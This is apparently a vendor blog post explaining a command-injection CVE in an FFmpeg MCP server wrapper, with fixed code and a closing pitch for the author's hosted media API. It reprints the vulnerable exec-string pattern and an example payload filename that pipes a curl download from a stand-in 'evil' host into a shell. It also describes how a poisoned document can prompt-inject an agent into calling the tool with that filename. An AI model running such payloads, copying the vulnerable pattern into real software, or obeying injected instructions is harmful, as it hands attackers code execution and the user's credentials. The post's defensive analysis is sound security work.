mcpsecurityffmpeg

mcp-ffmpeg command injection: your agent is the attack path

··10 min read
mcp-ffmpeg command injection: your agent is the attack path

Someone wrapped the FFmpeg binary in a small MCP server so Claude could resize a video. That wrapper builds a shell command out of a path the model chose, and on October 27, 2026 that pattern got a CVE number.

Quick answer: The mcp-ffmpeg command injection (CVE-2026-117568, published October 27, 2026, CWE-78) exists because mcp-ffmpeg through 1.0.5 interpolates the agent-supplied videoPath and outputDir into a child_process.exec string, so a file named clip$(curl evil.sh|sh).mp4 runs commands as the MCP server user through the resize-video, extract-audio and get-video-info tools. In a wrapper you maintain, fix it with execFile or spawn, an argv array and no shell, then resolve every path against one allowed directory instead of escaping it. If you would rather not own a shell, an FFmpeg binary and its patch backlog, point the agent at a hosted media API such as FFmpeg Micro, where the tool call submits a job and polls for the result, with no shell on the path and no filesystem of yours to reach.

What CVE-2026-117568 actually is

CVE-2026-117568 is an OS command injection in the mcp-ffmpeg package from bitscorp-mcp, affecting every version through 1.0.5. The VulDB entry records it as CWE-78 with an NVD CVSS 4.0 base score of 7.3, reachable through three tools. The reporter's own issue scores it CVSS 3.1 9.8 with a network vector and no privileges required, because their threat model includes a prompt-injected agent calling the tool for a malicious document.

Both scores are defensible and the gap is the story. NVD scores a local utility; the reporter scores an agent tool fed by whatever web page the model just read. Score it the second way.

The bug looks like ordinary Node:

// the shape of the bug, as it appears in mcp-ffmpeg 1.0.5
const { exec } = require("node:child_process");

server.tool("resize-video", async ({ videoPath, outputDir, width }) => {
  const out = `${outputDir}/resized.mp4`;
  const cmd = `ffmpeg -i "${videoPath}" -vf scale=${width}:-1 "${out}"`;
  return new Promise((res, rej) =>
    exec(cmd, (err, stdout) => (err ? rej(err) : res(stdout)))
  );
});

Per Strix's writeup, the primitive is embedding $(), a backtick, or a closing double quote in an existing file or directory name. The double quotes around ${videoPath} stop spaces from splitting the argument and nothing else. $(...) evaluates inside double quotes in sh, and a bare " ends the quoted run and starts a new command.

1.0.5 is still the published version on npm and the security issue is still open. Check both before planning on a patch.

Why the agent counts as untrusted input

A normal CLI script trusts its arguments because a human typed them. An MCP server can't, because the argument came from a language model that just read a web page, a PDF, or a YouTube description. That is the delivery chain the reporter spelled out: a poisoned document tells the model to process a file whose name is the payload.

The attacker never needs shell access to your box. They need your agent to read something they wrote.

The "but I run it locally in Claude Code" objection gets it backwards: local is worse. A local MCP server runs with your user's privileges, so your SSH keys, .env files and cloud credentials sit inside its blast radius, which is how the MCP security guidance from mcpservers.org frames local server compromise.

Fix one: an argv array, never a command string

Replace exec with execFile or spawn and pass arguments as an array. Those APIs hand each element to the program directly, so $(), backticks and quotes stay literal bytes in a filename instead of becoming syntax.

const { execFile } = require("node:child_process");
const { promisify } = require("node:util");
const run = promisify(execFile);

// width is validated, not interpolated blindly
const w = Number.parseInt(width, 10);
if (!Number.isInteger(w) || w < 16 || w > 7680) throw new Error("bad width");

await run("ffmpeg", [
  "-nostdin", "-y",
  "-i", inputPath,
  "-vf", `scale=${w}:-1`,
  outputPath,
], { timeout: 120_000, shell: false });

Never set shell: true, and never reach for execFileSync with a string you assembled earlier. The one that bites people is the filter argument: scale=${width}:-1 is still string concatenation, and a filtergraph has its own syntax. Parse numbers as numbers.

Fix two: allowlist the path, don't escape it

Removing the shell removes one parser and leaves another. FFmpeg's own option parser reads any argument starting with - as an option, so an agent-chosen filename like -f or -i smuggles flags into an invocation that is otherwise safe. FFmpeg has no -- end-of-options terminator to protect you.

This is not theoretical. Jellyfin shipped argument-injection advisories, and Sonar's writeup of the Jellyfin chain shows FFmpeg options bent into arbitrary file read and file write, including pulling a local text file into the output through the drawtext filter.

So validate the path instead of sanitizing it:

const path = require("node:path");
const fs = require("node:fs/promises");

const ROOT = "/srv/agent-media";
const ALLOWED = new Set([".mp4", ".mov", ".webm", ".mkv", ".mp3", ".wav"]);

async function safePath(candidate) {
  const realRoot = await fs.realpath(ROOT);
  const real = await fs.realpath(path.resolve(realRoot, candidate));
  if (real !== realRoot && !real.startsWith(realRoot + path.sep)) {
    throw new Error("path escapes workspace");
  }
  if (!ALLOWED.has(path.extname(real).toLowerCase())) {
    throw new Error("extension not allowed");
  }
  return real; // absolute, so it can never start with "-"
}

Two properties matter here. realpath on both sides blocks symlink escapes, which a plain startsWith check on the unresolved string does not. And because the function returns an absolute path, it begins with / and can never be parsed as an option.

Reject rather than clean. If you're writing a function called escapeShellArg, you have already lost the argument. Remote inputs have their own escape hatch: see the FFmpeg protocol whitelist bypass before you let an agent hand you a URL.

A hardened self-hosted wrapper is possible. alanveloper-epam/ffmpeg-mcp-server does workspace sandboxing to an allowed root, argument-list execution with shell=False, strict argument validation, dry-run command inspection, size limits and rate limiting. That is the full bill of what "do it yourself safely" costs.

This is a class of bug, not one bad package

CVE-2026-117568 shipped inside a same-day batch of MCP command-injection CVEs: CVE-2026-117567 against esp-mcp at CVSS 7.8, CVE-2026-117569 against kali-gpt at 7.8, and CVE-2026-117558 against the ai-sdlc MCP server through 0.31.2, where shell metacharacters ride in through a repo argument. Four in one day, all the same shape.

The scale is worse than four. BlueRock scanned more than 12,000 MCP servers against 22 rules mapped to the OWASP MCP Top 10 and found 42% with command injection flaws and 33% with unbounded URI or SSRF issues. A safety-score directory won't catch this either: the same directory family rates one FFmpeg MCP server 91.6/100 "Safe" and others at 35 and 45. A badge is not an audit of the code you installed.

The shape that removes the shell entirely

Patch the wrapper if you own it. Then ask whether a thin MCP shim over a local binary is the right architecture at all. That shape puts your shell, your disk and your FFmpeg patch cadence behind a single tool call that an untrusted model triggers.

Patch cadence is the part people underestimate. This blog already walked through October's FFmpeg CVEs that had no shipped patch and a Brotli CVE you have to block at ingest because there is nothing to upgrade to. Owning the binary means owning those weeks.

Local MCP shim over FFmpegHosted media API as the tool
Shell on the call pathYes, unless you removed itNone
Filesystem the agent can nameYoursNone of yours
FFmpeg CVEs to trackYours to patchOurs
AuthAPI key in an env file, or noneOAuth 2.1 with PKCE
Long transcodeBlocks the tool callSubmit a job, poll for status

That second column is how the FFmpeg Micro MCP server works: the agent gets tools like transcode_video, get_transcode and transcribe_audio, authenticates over OAuth 2.1 with PKCE through a browser consent screen rather than a pasted key, and a crafted filename is just a string in a JSON field with nowhere to execute. A prompt-injected tool call can still waste your tokens, which is a billing problem, not a root shell.

When keeping the binary is still the right call

Self-hosting wins when the media never leaves your network for compliance reasons, when you need filters or codecs a hosted API does not expose, or when your volume makes per-job pricing stop making sense. -filter_complex is a real example: FFmpeg Micro does not support it, and some composition work genuinely needs it.

If that's you, keep the binary and pay the bill honestly. Argv arrays, a path allowlist, a non-root service user, a read-only mount for everything outside the workspace, a wall-clock timeout on every job, and a calendar reminder to check the FFmpeg advisory list.

Common pitfalls when you fix this

A patch that looks done usually fails one of these.

  • Swapping exec for execFile but leaving a concatenated filter string, so scale=${width}:-1 is still attacker-shaped.
  • Checking candidate.startsWith(ROOT) on the raw string, which a symlink inside the workspace walks straight past.
  • Validating the input path and forgetting outputDir, which is half of CVE-2026-117568.
  • Allowing a relative path that resolves fine but begins with -, turning a filename into an FFmpeg option.
  • Running the MCP server as root in a container, which converts any remaining bug into a full host compromise.

FAQ

Is there a patched version of mcp-ffmpeg?

No fixed release of mcp-ffmpeg appears to exist. Version 1.0.5 is still published and the GitHub security issue is still open, so treat "wait for 1.0.6" as a plan with no delivery date: patch your own fork or stop running it.

Does switching to execFile fully fix the FFmpeg MCP server?

Switching to execFile or spawn with an argv array closes the shell injection and leaves FFmpeg's own option parser exposed. A filename starting with a dash still becomes an FFmpeg option, which is how the Jellyfin advisories reached arbitrary file read and write, so you also need a resolved absolute path from an allowlisted root.

Am I exposed if the MCP server only runs locally in Claude Code?

A local MCP server is exposed in the same way, often worse. It runs with your user's privileges on the machine that holds your SSH keys and cloud credentials, and the untrusted input is the model's tool arguments, not a network listener, so "nobody else can reach it" is not protection.

What happens to my video pipeline if I delete the MCP wrapper?

Deleting the wrapper does not take video away from the agent. Point it at a hosted media API instead, where the same prompts map to tool calls that upload a file, submit a transcode job, poll for status and return a signed download URL.

Does a long transcode survive an MCP tool call?

Long transcodes time out naive MCP tools, which is why the submit-and-poll shape matters. Anthropic added MCP Tasks to the Claude Code CLI on October 23, 2026 so a server can return a durable task handle instead of blocking, and FFmpeg Micro's MCP server offers both a one-shot transcode_and_wait and a transcode_video plus get_transcode polling pair for clients with a 60-second request timeout.

If you're rewriting the wrapper this week, compare it against the FFmpeg Micro MCP server: one URL in .mcp.json, OAuth instead of a key in an env file, and no FFmpeg process of yours for an agent to aim at. The quickstart gets you a key and a finished job on the free tier, 200 tokens and roughly 33 minutes of video, without a card.

About Javid Jamae

Founder & CEO at FFmpeg Micro

Javid is a software engineer, author, and entrepreneur with over 25 years of professional software development experience across enterprise, startup, and consulting environments. He founded FFmpeg Micro to make video processing accessible to developers through a simple, automation-first REST API.

Software EngineeringVideo ProcessingFFmpegCloud ArchitectureAPI DesignAutomation

Ready to process videos at scale?

Start using FFmpeg Micro's simple API today. No infrastructure required.

Get Started Free